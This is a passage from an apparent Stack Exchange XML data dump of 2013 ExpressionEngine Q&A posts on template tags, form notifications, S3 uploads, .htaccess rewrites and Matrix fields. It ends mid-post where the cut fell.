  <row Id="13552" PostTypeId="2" ParentId="13549" CreationDate="2013-09-06T17:18:21.867" Score="0" Body="&lt;p&gt;Ok, figured it out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;{related_organization:child_ids}&lt;/code&gt; is just shorthand for the &lt;code&gt;{exp:playa:child_ids}&lt;/code&gt; tag pair.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Putting a tag pair inside a parameter was making it freak out.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So instead of using &lt;code&gt;{related_organization:child_ids}&lt;/code&gt; as the &lt;code&gt;entry_id&lt;/code&gt; parameter, I did this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;pages&quot;}&#xA;&#xA;  {related_organization var_prefix=&quot;org&quot;}&#xA;    {exp:playa:parents channel=&quot;people&quot; entry_id=&quot;{org:entry_id}&quot;}&#xA;      {title}&amp;lt;br /&amp;gt;&#xA;    {/exp:playa:parents}&#xA;  {/related_organization}&#xA;&#xA;{/exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Rob explains the same thing &lt;a href=&quot;https://expressionengine.stackexchange.com/a/13551/100&quot;&gt;in his answer&lt;/a&gt; and recommends how to do it with Stash.&lt;/p&gt;&#xA;" OwnerUserId="100" LastEditorUserId="-1" LastEditDate="2017-04-13T12:49:23.330" LastActivityDate="2013-09-06T17:18:21.867" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13553" PostTypeId="1" AcceptedAnswerId="13570" CreationDate="2013-09-06T18:59:59.453" Score="1" ViewCount="1216" Body="&lt;p&gt;I'm trying to figure out what the best way of handling multiple pages (e.g. listing pages that list articles, events, etc) that use the same template but have different content (e.g. title, description, image, which entries it pulls).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Example:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;strong&gt;News Listing Page&lt;/strong&gt; [listing template] - displays &lt;em&gt;news article&lt;/em&gt; list&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Events Listing Page&lt;/strong&gt; [listing template] - displays &lt;em&gt;events&lt;/em&gt; list&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;Industry Events Listing Page&lt;/strong&gt; [listing template] - displays &lt;em&gt;industry events&lt;/em&gt; list&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;With each listing page having a unique title, description, etc as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Should I be structuring the single template file with if statements that determine which content should be loading in? (e.g. conditionals for all three in one template). What if the &quot;unique&quot; content needs to be editable, should all pages that use the same template be in a unique channel? All template-x pages in channel x, all template-y pages in channel y, with channel fields for each directly related to what appears on their respective templates?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've been looking into Structure but not sure if it'll do what I'm after, or rather simplify the &quot;big picture&quot; in terms of site structure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I come from a WordPress background so still trying to wrap my head around the EE way of doing things, so any help/advice/suggestions are appreciated. If my question is unclear as well let me know and I can try to re-phrase my question/what I'm after.&lt;/p&gt;&#xA;" OwnerUserId="2013" LastActivityDate="2013-09-08T02:54:33.880" Title="1 template, multiple pages, different content" Tags="|templates|" AnswerCount="4" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13554" PostTypeId="2" ParentId="13508" CreationDate="2013-09-06T20:31:23.670" Score="0" Body="&lt;p&gt;With some help from an associate we worked out the following solution using the query module.    &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:query sql=&quot;SELECT COUNT( * ) AS itemCount FROM exp_freeform_form_entries_4 WHERE form_field_52 = 'yes'&quot;}&#xA;                                {if 15 &amp;gt; {itemCount}}&#xA;              &amp;lt;td&amp;gt;&amp;lt;label for=&quot;setup_1&quot;&amp;gt;Mon. Dec. 9, Setup/iron - 9am-noon: {exp:query sql=&quot;SELECT 15 - COUNT( * ) AS itemNeeded FROM exp_freeform_form_entries_4 WHERE form_field_52 = 'yes'&quot;}{itemNeeded}{/exp:query} needed &amp;lt;/label&amp;gt;&#xA;              &amp;lt;input type=&quot;checkbox&quot; name=&quot;setup_1&quot; id=&quot;setup_1&quot; value=&quot;Yes&quot; /&amp;gt;&amp;lt;/td&amp;gt;&#xA;                                {if:else}&#xA;                                    &amp;lt;td&amp;gt;Monday 9-noon is full&amp;lt;/td&amp;gt;&#xA;                                {/if}&#xA;                            {/exp:query}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="258" LastActivityDate="2013-09-06T20:31:23.670" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13555" PostTypeId="1" AcceptedAnswerId="13556" CreationDate="2013-09-06T20:38:12.763" Score="1" ViewCount="189" Body="&lt;p&gt;I am running Solspace Freeform 4.x for a fairly lengthy volunteer signup form. I would like to provide a record back to the user for those items they sign up up for. However by using the &lt;strong&gt;{all_form_fields_string}&lt;/strong&gt; in the notification template I get all fields returned in the email notification whether it has a value associated with it or not. Is there a way to return only those fields that have a value? If so how?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks.&lt;/p&gt;&#xA;" OwnerUserId="258" LastActivityDate="2013-09-06T20:49:03.567" Title="How do I limit data returned by Solspace Freeform User Notification Template?" Tags="|solspace-freeform|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13556" PostTypeId="2" ParentId="13555" CreationDate="2013-09-06T20:49:03.567" Score="1" Body="&lt;p&gt;In the Freeform control panel you can create a custom &lt;a href=&quot;http://www.solspace.com/docs/freeform/control_panel/#notifications&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;notification&lt;/strong&gt;&lt;/a&gt; and then use conditionals in the notification template.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if your_form_field}&#xA;   Your form field is: {your_form_field}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Just be sure to edit that form's settings in the Freeform control panel and choose that notification template.&lt;/p&gt;&#xA;" OwnerUserId="22" LastActivityDate="2013-09-06T20:49:03.567" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13557" PostTypeId="1" AcceptedAnswerId="13617" CreationDate="2013-09-06T21:09:00.510" Score="1" ViewCount="199" Body="&lt;p&gt;I'm trying to upload a 43MB .mp4 video file to S3 using Assets. The progress bar will run all the way to the end (it takes about a minute), then I'll get an alert that says &quot;Undefined&quot;, and the console will show an error:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Failed to load resource: the server responded with a status of 500&#xA;(Internal Server Error) - https://mydomain.com/?folder=478&amp;amp;ACT=161&amp;amp;qqfile=my-video-file.mp4&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;My php &lt;code&gt;post_max_size&lt;/code&gt; and &lt;code&gt;upload_max_filesize&lt;/code&gt; are both set to &lt;code&gt;256M&lt;/code&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;My &lt;code&gt;system/expressionengine/cache&lt;/code&gt; directory and all sub-directories have 777 permissions&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;EE 2.6.1&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Assets 2.1.4&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="5" LastEditorUserId="5" LastEditDate="2013-09-10T16:32:55.430" LastActivityDate="2013-09-10T16:32:55.430" Title="Assets: Unable to Upload Large Files to S3" Tags="|assets|pixelandtonic|s3|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13558" PostTypeId="2" ParentId="11769" CreationDate="2013-09-06T21:22:23.770" Score="1" Body="&lt;p&gt;Your HTML has a trailing slash in it--EE wouldn't be the trailing slash in, in this context.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, change this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;{site_url}our_courses#953/&quot;&amp;gt;Name of Link&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;a href=&quot;{site_url}our_courses#953&quot;&amp;gt;Name of Link&amp;lt;/a&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And, you should end up with &lt;a href=&quot;http://example.com/our_courses#953&quot; rel=&quot;nofollow&quot;&gt;http://example.com/our_courses#953&lt;/a&gt; as the output URL.&lt;/p&gt;&#xA;" OwnerUserId="1900" LastActivityDate="2013-09-06T21:22:23.770" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13559" PostTypeId="2" ParentId="13545" CreationDate="2013-09-06T21:43:40.113" Score="1" Body="&lt;p&gt;It appears EE 2.7 removed a check_xid() function from the Security controller.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I tried this only locally, but it appears to allow the items to be added to cart.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the store/mod.store.php file, modify lines 243 and 591 by renaming the check_xid function to secure_forms_check as noted here:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;OLD:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;EE-&amp;gt;security-&amp;gt;check_xid($this-&amp;gt;EE-&amp;gt;input-&amp;gt;post('XID')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;NEW: &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$this-&amp;gt;EE-&amp;gt;security-&amp;gt;secure_forms_check($this-&amp;gt;EE-&amp;gt;input-&amp;gt;post('XID')&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Again, this was only tested locally so use at your own risk. I would still file a bug report with the Expresso Dev guys.&lt;/p&gt;&#xA;" OwnerUserId="83" LastActivityDate="2013-09-06T21:43:40.113" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13560" PostTypeId="2" ParentId="13553" CreationDate="2013-09-06T23:04:14.610" Score="1" Body="&lt;p&gt;Graham!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm gonna try to help you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can use one template to multiple content, but I don't know if it worth the effort. Sometimes it does, but not always.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;On EECMS, every directory of templates is the first segment of a variable. I, personally, use every template for two types of contents:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;the list of all content in that channel;&lt;/li&gt;&#xA;&lt;li&gt;a unique entry on that channel;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;In your case, you can have three directories of files:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;news;&lt;/li&gt;&#xA;&lt;li&gt;events;&lt;/li&gt;&#xA;&lt;li&gt;industry;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;At the index.html of every directory, you can handle its content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you don't mind, try to forget about wordpress for some time. The first thing you need to do is to organize your content. Try to forget about one single field to all the content. Open your notepad and list every little piece of info every channel needs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For your news, everything looks easy:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;news_content;&lt;/li&gt;&#xA;&lt;li&gt;news_gallery;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Just two fields.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The events are a little harder:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;event_place;&lt;/li&gt;&#xA;&lt;li&gt;event_description;&lt;/li&gt;&#xA;&lt;li&gt;event_date;&lt;/li&gt;&#xA;&lt;li&gt;contact_info;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Different field_groups for different &lt;em&gt;kinds&lt;/em&gt; of content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Just after this, you can start thinking about templates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This is a really long discussion and I don't know if this is the better place for it.&lt;/p&gt;&#xA;" OwnerUserId="343" LastActivityDate="2013-09-06T23:04:14.610" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13561" PostTypeId="1" AcceptedAnswerId="13567" CreationDate="2013-09-06T23:42:21.497" Score="1" ViewCount="418" Body="&lt;p&gt;&lt;strong&gt;Is there a default .htaccess rewrite block for EE while running it in a subfolder?&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have EE in /eefolder/ i.e., mydomain.com/eefolder/  with simply&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;RewriteEngine on&lt;/code&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;in the .htaccess file in that folder.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have WordPress in root, i.e. mydomain.com with its own .htaccess file and rewrite block.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I try to view any URL in EE, such as mydomain.com/eefolder/site , I get a 404 from either WordPress or the default 404 from the hosting service.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What do I need in .htaccess in the eefolder? Is there a default rewrite block? I have the index.php file in the eefolder.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or is there another configuration to change to be able to view the EE site and not get a 404?&lt;/p&gt;&#xA;" OwnerUserId="2018" LastActivityDate="2013-09-07T14:19:12.193" Title="Default .htaccess rewrite block for EE in a subfolder?" Tags="|htaccess|config|404|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13562" PostTypeId="2" ParentId="13545" CreationDate="2013-09-06T23:48:39.390" Score="1" Body="&lt;p&gt;Unfortunately it looks like some changes were made in EE 2.7 to how secure forms are handled, which aren't documented anywhere. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The solution by Nuno is correct, you can simply replace &lt;code&gt;check_xid()&lt;/code&gt; with &lt;code&gt;secure_forms_check()&lt;/code&gt; and it will mostly work as expected. The downside of this is that AJAX scripts which expect to be able to reuse the same XID for multiple requests will no longer work in EE 2.7.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There will be an official release to fix this issue very shortly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE: This has been fixed in &lt;a href=&quot;https://exp-resso.com/docs/store/release_notes.html&quot; rel=&quot;nofollow&quot;&gt;Store 1.6.5&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="150" LastEditorUserId="150" LastEditDate="2013-09-07T01:31:49.410" LastActivityDate="2013-09-07T01:31:49.410" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13563" PostTypeId="1" CreationDate="2013-09-06T23:51:16.717" Score="1" ViewCount="161" Body="&lt;p&gt;I'm sorry if this has already been asked, the new EE answers thing is so overly confusing to me, I'm almost considering private exchanges via email but thought I'd just ask here first.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All I want to do is to edit a Matrix field from the front end. This is my code, but all it's doing is adding a new row. Any thoughts?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{therapist_employcompany sort=&quot;desc&quot; limit=&quot;1&quot;}&#xA;   &amp;lt;input type=&quot;hidden&quot; name=&quot;therapist_employcompany[row_order][]&quot; value=&quot;row_id_{row_id}&quot;&amp;gt;&#xA;   &amp;lt;input type=&quot;text&quot; name=&quot;therapist_employcompany[row_id_{row_id}][col_id_48]&quot; value=&quot;{therapist_employcompany} &quot;/&amp;gt;&#xA;{/therapist_employcompany}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;I thought by bringing in the row ID dynamically it would update it, but it's not.&lt;/p&gt;&#xA;" OwnerUserId="1799" LastEditorUserId="69" LastEditDate="2013-09-07T22:20:23.920" LastActivityDate="2013-09-07T22:20:23.920" Title="Editing a matrix field on the front end" Tags="|matrix|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13564" PostTypeId="2" ParentId="13553" CreationDate="2013-09-07T10:10:53.907" Score="0" Body="&lt;p&gt;Here's some reading for you. This is an advanced form of the usual template use. If you don't grasp it, thats fine. At least you know its available. &lt;a href=&quot;http://eeinsider.com/articles/template-partials-using-stash&quot; rel=&quot;nofollow&quot;&gt;partials&lt;/a&gt;. The main benefit is that you build one layout template( or more ) and each of your listing types (news, events and industry) tip content into it.&lt;/p&gt;&#xA;" OwnerUserId="951" LastEditorUserId="951" LastEditDate="2013-09-07T10:20:40.087" LastActivityDate="2013-09-07T10:20:40.087" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13565" PostTypeId="2" ParentId="13563" CreationDate="2013-09-07T10:16:30.257" Score="1" Body="&lt;p&gt;Welcome. &#xA;If you use the search box, you will find 261 questions relating to matrix.&#xA;To embed code, paste the code in, highlight it then select the curly brackets.&#xA;The secret with matrix is the input field names. In the control panel, edit an entry then find the matrix field in the source code. Now do the same thing on a new entry. Note the differences in field name.&lt;/p&gt;&#xA;" OwnerUserId="951" LastActivityDate="2013-09-07T10:16:30.257" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13566" PostTypeId="1" AcceptedAnswerId="13568" CreationDate="2013-09-07T13:47:11.757" Score="0" ViewCount="64" Body="&lt;p&gt;I've just purchased and installed Matrix, and I'm receiving this error when I attempt to create a new Channel Field in any Channel.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas why this might be happening?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I uninstall Matrix, it goes back to working normal with no issues.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;EE 2.7, Matrix 2.5.6&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Unable to load requested field type file: ft.dww_flickr.php.&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="938" LastActivityDate="2013-09-07T14:46:42.420" Title="Matrix Error after installation" Tags="|matrix|error|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13567" PostTypeId="2" ParentId="13561" CreationDate="2013-09-07T14:19:12.193" Score="3" Body="&lt;p&gt;Take the standard method and add in your subfolder name before &lt;code&gt;index.php&lt;/code&gt; in the RewriteRule.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;IfModule mod_rewrite.c&amp;gt;&#xA;    RewriteEngine On&#xA;&#xA;    RewriteCond $1 !\.(gif|jpe?g|png)$ [NC]&#xA;    RewriteCond %{REQUEST_FILENAME} !-f&#xA;    RewriteCond %{REQUEST_FILENAME} !-d&#xA;    RewriteRule ^(.*)$ /SUBFOLDER/index.php/$1 [L]&#xA;&#xA;&amp;lt;/IfModule&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="69" LastActivityDate="2013-09-07T14:19:12.193" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="13568" PostTypeId="2" ParentId="13566" CreationDate="2013-09-07T14:46:42.420" Score="0" Body="&lt;p&gt;There must be a conflict between Matrix and your version of Flickr for ExpressionEngine fieldtype. First, uninstall both add-ons. Re-install Matrix. Does it work?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If so, then make sure you have the latest version of &lt;a href=&quot;http://devot-ee.com/add-ons/flickr&quot; rel=&quot;nofollow&quot;&gt;Flickr for EE&lt;/a&gt; and install it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have the same problem again, you'll have to contact the add-on makers to see if one of them can fix the bug for you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;UPDATE:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Found this: &lt;a href=&quot;https://github.com/brettdewoody/Flickr-for-ExpressionEngine/pull/2&quot; rel=&quot;nofollow&quot;&gt;https://github.com/brettdewoody/Flickr-for-ExpressionEngine/pull/2&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;DWW Flickr is now EEhive Flickr, so definitely read the link above.&lt;/p&gt;&#xA;" OwnerUserId="69" LastActivityDate="2013-09-07T14:46:42.420" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="13569" PostTypeId="2" ParentId="13563" CreationDate="2013-09-07T18:44:36.600" Score="0" Body="&lt;p&gt;What you are after is not straightforward, to be sure. However, here's a good tutorial: &lt;a href=&quot;http://themetaq.com/articles/bring-matrix-data-editing-to-the-front-end&quot; rel=&quot;nofollow&quot;&gt;http://themetaq.com/articles/bring-matrix-data-editing-to-the-front-end&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="69" LastActivityDate="2013-09-07T18:44:36.600" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13570" PostTypeId="2" ParentId="13553" CreationDate="2013-09-07T22:59:36.883" Score="1" Body="&lt;p&gt;As others have pointed out, there are multiple ways to handle this in EE. And, the &lt;strong&gt;Partials&lt;/strong&gt; approach mentioned by @dadonbike is generally the best, modern, architectural approach. But this may require you to make a bigger mind-shift coming from Wordpress. And it also can't be done without add-ons / it's not an approach that's native to EE (which actually is a comment on EE, rather than this approach--but it's worth mentioning).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A simpler approach is to use conditionals to display different chunks of the template, depending on the context as determined by the URL segments. And, a variation on this is to keep each context's template separate, but embed (include) each template conditionally into a master index file. Here's an example (that's a blog/index template):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{if segment_2 == &quot;&quot;}&#xA;    {!-- MAIN PAGE --}&#xA;    {embed=&quot;blog/.mainblog&quot;}&#xA;{if:elseif segment_2 == &quot;category&quot; AND segment_3 != &quot;&quot;}&#xA;    {!-- CATEGORY PAGE --}&#xA;    {embed=&quot;blog/.category&quot;}&#xA;{if:elseif segment_3 !=&quot;&quot;}&#xA;    {!-- ARCHIVE PAGE --}&#xA;    {embed=&quot;blog/.archive&quot;}&#xA;{if:else}&#xA;    {!-- PERMALINK PAGE --}&#xA;    {embed=&quot;blog/.permalink&quot;}&#xA;{/if}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Because these are URL-driven approaches, in your case, if News and Events really warrant their own URLs structures, then that's a natural reason to not combine them into a single set of conditions. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Generally, if your conditionals start getting unwieldily, you'll wish you'd split things into separate templates. But, the flip-side of more separation is often duplication, where you have very similar or the same code copied in multiple templates.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, the Partials approach does a great job of cleaning-up / removing conditionals and letting you reuse the same layout code across contexts. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;But, to the degree you can live with your set of conditionals and/or repeated code across multiple files, this conditional approach totally works, is native to EE, and is something you can quickly whip out, conceptually and practically.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;Also, it's totally fine in EE to have things like News and Events in separate channels, even if they are very similarly structured content. Very different content structures usually warrant different channels, but it's also OK to separate content based on user access requirements, ease of finding things in the control panel, how you want to structure your templates, and other kinds of content &quot;filtering&quot; you might do in your templates. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Alternatively, you could have a News &amp;amp; Events combined channel--e.g., using separate categories or a field to determine which item is news vs events. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Whatever approach you use, there are trade-offs. EE's biggest selling point, imho, is that it provides a bunch of parts you can put together different ways to match your content. But EE's options do mean that you always have multiple choices, that you need to think about this architectural kind of stuff, that there's usually no truly right way to do things, and that you'll probably kick yourself at least once per project for choosing one way over another. But, in the end, you'll make it work :-).&lt;/p&gt;&#xA;" OwnerUserId="1900" LastActivityDate="2013-09-07T22:59:36.883" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="13571" PostTypeId="2" ParentId="13553" CreationDate="2013-09-08T02:49:19.187" Score="0" Body="&lt;p&gt;Here's the Structure add-on method. I'll try to keep it simple. With this method you'll only need two templates.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Create a channel for your static pages. Let's call that channel&#xA;Pages.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Create your three unique listing channels: Events, News,&#xA;Industry Events&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Create a template for the Pages channel entries which will serve as your listing view. Let's make the template &lt;code&gt;pages/index&lt;/code&gt;. It will pull from the Pages channel, of course:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;pages&quot; ...}&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Create your detail/article template, let's say &lt;code&gt;pages/article&lt;/code&gt;. Set it up to read the URL to know which listing channel it will display. (I'll explain this more below in #7.)&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:channel:entries channel=&quot;{segment_1}&quot; ...}&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In Structure's settings, manage the Pages channel as a page and assign the &lt;code&gt;pages/index&lt;/code&gt; template to it. Then create your actual pages (new entries) from within the Pages channel for Events, News, and Industry News. Make sure the Structure Page URL matches its respective listing channel's short name so you can use the &lt;code&gt;segment_1&lt;/code&gt; idea from #3 above. To be clear, the Events channel and Events page should have &lt;code&gt;events&lt;/code&gt; as the short name and URL, respectively.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;In Structure's settings again, set the three listing channels to be managed by Structure as listing channels and assign each of them to the &lt;code&gt;pages/article&lt;/code&gt; template.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;This next step is important. Now, you can go and edit each of the Pages (News, Events, Industry Events) to be related to their respective listing channel. For example, in the Events &lt;em&gt;page's&lt;/em&gt; Structure tab, you can assign the Event &lt;em&gt;channel&lt;/em&gt; as the &quot;Listing Channel.&quot; Once you do that, every Event entry will have a URL of &lt;code&gt;/news/article-url&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;I hope that's clear. This is a very common method for building EE site's. Clients like to use Structure because it provides a great UI for adding/editing pages.&lt;/p&gt;&#xA;" OwnerUserId="69" LastEditorUserId="69" LastEditDate="2013-09-08T02:54:33.880" LastActivityDate="2013-09-08T02:54:33.880" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13572" PostTypeId="1" CreationDate="2013-09-08T05:17:18.313" Score="2" ViewCount="1262" Body="&lt;p&gt;I have created a sub domain new.mysite.com. I have a fully functioning  EE website on mysite.com and I am a copy to new.mystie.com to work on it. It moved over fine, except that all the links are broken. On the main site I remove the .index.php with the .htaccess &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&#xA;        RewriteEngine On&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    # Removes index.php from ExpressionEngine URLs&#xA;    RewriteCond $1 !\.(gif|jpe?g|png)$ [NC]&#xA;    RewriteCond %{REQUEST_FILENAME} !-f&#xA;    RewriteCond %{REQUEST_FILENAME} !-d&#xA;    RewriteRule ^(.*)$ /index.php/$1 [L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;however on the sub domain if I put the index.php in the url it works. Is there something special need to do make it work on the sub domain and still keep the index.php removed?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I looked and all the setting are the same. &lt;/p&gt;&#xA;" OwnerUserId="1330" LastActivityDate="2013-09-08T08:07:52.530" Title="index.php in sub domain not working" Tags="|.htaccess|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13573" PostTypeId="2" ParentId="13572" CreationDate="2013-09-08T08:07:52.530" Score="2" Body="&lt;p&gt;I found the answer:  I used this RewriteRule which add a ? after: the /index.php?/ &lt;/p&gt;&#xA;&#xA;&lt;p&gt;RewriteRule ^(.*)$ /index.php?/$1 [L]&lt;/p&gt;&#xA;" OwnerUserId="1330" LastActivityDate="2013-09-08T08:07:52.530" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="13574" PostTypeId="2" ParentId="13544" CreationDate="2013-09-08T12:25:03.053" Score="1" Body="&lt;p&gt;Well, this looks like it is going into the discussion direction, but I will chip in my thoughts on this anyhow.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We are also right now in the process of thinking about on how to best turn an EE and CT powered ecommerce into a multi-language site.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I believe to have researched all apporoaches out there and at the moment I tend to devide the sites in different langauges from each other - completly. No MSM, no multi-language Module.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Why? I have the feeling that all solutions will turn into a thick impenetrable bushwork eventually. Of course it depends on the piloted size of the site and the desired amount of different languages. I am aiming pretty high at the moment and want to find a solution in which I can easily say at any time: we need another language? No problemo!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have also 